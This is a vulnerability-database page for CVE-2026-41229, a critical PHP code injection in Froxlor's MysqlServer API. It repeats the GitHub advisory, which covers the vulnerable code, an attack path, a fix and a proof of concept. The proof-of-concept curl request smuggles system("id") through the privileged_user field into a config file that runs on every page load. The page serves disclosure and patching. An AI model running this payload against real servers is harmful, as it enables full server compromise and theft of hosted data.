Vulnerability-Lookup

CVE-2026-41229 (GCVE-0-2026-41229)

Vulnerability from cvelistv5 – Published: 2026-04-23 03:44 – Updated: 2026-04-23 12:31

Title

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Summary

Froxlor is open source server administration software. Prior to version 2.3.6, `PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/froxlor/froxlor/security/advis…	x_refsource_CONFIRM
	https://github.com/froxlor/froxlor/commit/3589ddf…	x_refsource_MISC
	https://github.com/froxlor/froxlor/releases/tag/2.3.6	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	froxlor	froxlor	Affected: < 2.3.6

Show details on NVD website

JSON

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FKIE_CVE-2026-41229

Vulnerability from fkie_nvd - Published: 2026-04-23 04:16 - Updated: 2026-04-23 13:16

Severity ?

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae
	security-advisories@github.com	https://github.com/froxlor/froxlor/releases/tag/2.3.6
	security-advisories@github.com	https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Froxlor is open source server administration software. Prior to version 2.3.6, `PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch."
    }
  ],
  "id": "CVE-2026-41229",
  "lastModified": "2026-04-23T13:16:12.873",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-23T04:16:19.563",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GC9W-CC93-RJV8

Vulnerability from github – Published: 2026-04-16 00:50 – Updated: 2026-04-16 00:50

Summary

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Details

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
        } else {
            if ($key == 'password') {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

validateAccess() (line 82) checks the caller is an admin with change_serversettings
privileged_user is read via getParam() at line 88 with no validation applied
mysql_ca is also read with no validation at line 86
The values are placed into the $sql_root array at lines 150-160
generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'

This writes the following into lib/userdata.inc.php:

'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

Full server compromise: Execute arbitrary commands as the web server user (typically www-data)
Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys
Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php
Persistent backdoor: The injected code executes on every request, providing persistent access
Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.

Recommended Fix

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value);
$str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");

Additionally, consider adding input validation to privileged_user and mysql_ca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

Severity ?

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:50:00Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key =\u003e $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"\u0027%s\u0027 =\u003e %s,\\n\", $key, $value ? \u0027true\u0027 : \u0027false\u0027));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e $value,\\n\");\n        } else {\n            if ($key == \u0027password\u0027) {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u003c\u003c\u003c\u0027EOT\u0027\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$value}\u0027,\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys \u2014 including `user`, `caption`, and `caFile` \u2014 are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` \u2192 `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u \u0027ADMIN_APIKEY:ADMIN_APISECRET\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x\u0027\\\u0027\u0027.system(\\\"id\\\").\u0027\\\u0027\u0027\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }\u0027\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n\u0027user\u0027 =\u003e \u0027x\u0027.system(\"id\").\u0027\u0027,\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n\u003c\u003e]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\\u0027` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$value}\u0027,\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace([\u0027\\\\\u0027, \"\u0027\"], [\u0027\\\\\\\\\u0027, \"\\\\\u0027\"], $value);\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u0027{$escaped}\u0027,\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"\u0027{$key}\u0027 =\u003e \u003c\u003c\u003c\u0027EOT\u0027\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.",
  "id": "GHSA-gc9w-cc93-rjv8",
  "modified": "2026-04-16T00:50:00Z",
  "published": "2026-04-16T00:50:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-41229 (GCVE-0-2026-41229)

FKIE_CVE-2026-41229

GHSA-GC9W-CC93-RJV8

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature